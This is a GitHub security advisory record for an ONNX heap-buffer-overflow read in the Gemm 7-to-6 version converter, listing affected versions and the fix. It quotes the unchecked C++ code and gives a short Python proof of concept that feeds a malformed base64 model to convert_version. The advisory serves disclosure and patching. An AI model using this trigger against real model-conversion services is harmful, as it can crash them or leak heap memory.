CVE-2026-63632: ONNX Heap-Buffer-Overflow READ Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-p893-rvq9-2xf9",
  "modified" : "2026-07-24T15:48:04Z",
  "published" : "2026-07-24T15:48:04Z",
  "aliases" : [ "CVE-2026-63632" ],
  "summary" : "ONNX: Heap-Buffer-Overflow READ in Gemm Version Converter Adapter via Undersized Input Shape",
  "details" : "### Summary\n\nHeap-buffer-overflow READ (16 bytes) in `Gemm_7_6::adapt_gemm_7_6()` (`onnx/version_converter/adapters/gemm_7_6.h:41`) when `ConvertVersion()` processes a model with a Gemm node whose input tensors have fewer than 2 dimensions. The adapter accesses `B_shape[1]` without checking rank. On Release builds the OOB read is silent; ASan confirms 16-byte read past a 48-byte allocation.\n\n### Details\n\nThe Gemm 7→6 downgrade adapter reads input shapes without bounds checking:\n```cpp\n// gemm_7_6.h:26-42\nconst auto& A_shape = inputs[0]->sizes();  // May have < 2 elements\nconst auto& B_shape = inputs[1]->sizes();  // May have < 2 elements\n\nif (node->hasAttribute(ktransB) && node->i(ktransB) == 1) {\n    MN.emplace_back(B_shape[0]);   // OOB if B has 0 dims\n} else {\n    MN.emplace_back(B_shape[1]);   // OOB if B has < 2 dims ← CRASH\n}\n```\n\nThe PoC has input B with shape `[28]` (1 dimension). `B_shape` has 1 element. Accessing `B_shape[1]` reads 16 bytes past the `std::vector<Dimension>` internal storage into adjacent heap memory.\n\nThe same unchecked pattern applies to `A_shape[0]` and `A_shape[1]` at lines 34 and 36.\n\n**Entry point:** `onnx.version_converter.convert_version(model, 6)` — different from the `InferShapes` bugs reported in separate advisories. This triggers during opset downgrade (7→6).\n\n### PoC\n```python\nimport base64\nimport onnx\nfrom onnx import version_converter\n\npoc_b64 = \"CAM6rwEKUQoBQQoBQgoBQRIBWSIER2VtbSoPCgVhbHBoYRUBAQA+oAEBKg4KBGJldGEVAAAAOqABASoNCgZ0dGZsc0EYAaABAioNCgZ0cmFuc0IYAKABAhIKb2Vpdl94bWZ2aFoTCgFBEg4KDAgBEggKAggCCgIIA1oTCgFCEg4KDAgBEggKAggcCgIIBFoPCgFCEgoKCAgBEgQKAggbYhMKAVkSDgoMCAESCAoCCAIKAggEQgQKABAH\"\n\nmodel = onnx.load_from_string(base64.b64decode(poc_b64))\n\n# Triggers heap-buffer-overflow in Gemm_7_6 adapter\nversion_converter.convert_version(model, 6)\n```\n\n186-byte PoC. ASan confirms: `heap-buffer-overflow READ of size 16` at `gemm_7_6.h:41`, `0 bytes after 48-byte region` allocated in `tensorShapeProtoToDimensions` at `ir_pb_converter.cc:216`.\n\n### Impact\n\nAny application that uses `onnx.version_converter.convert_version()` on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-downgrade opset versions for compatibility. On Release builds the OOB read is silent — the read value propagates into the converted model's output shape, potentially leaking heap data. On ASan builds it's detected as a heap-buffer-overflow. Could also cause crashes with different heap layouts.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "onnx"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.3.0"
      }, {
        "fixed" : "1.22.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.21.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/onnx/onnx/security/advisories/GHSA-p893-rvq9-2xf9"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/onnx/onnx/pull/7880"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/onnx/onnx/commit/e9c74f596eaa0250f89e52a54160a25bbcb25b66"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/onnx/onnx"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/onnx/onnx/releases/tag/v1.22.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-125" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-24T15:48:04Z",
    "nvd_published_at" : null
  }
}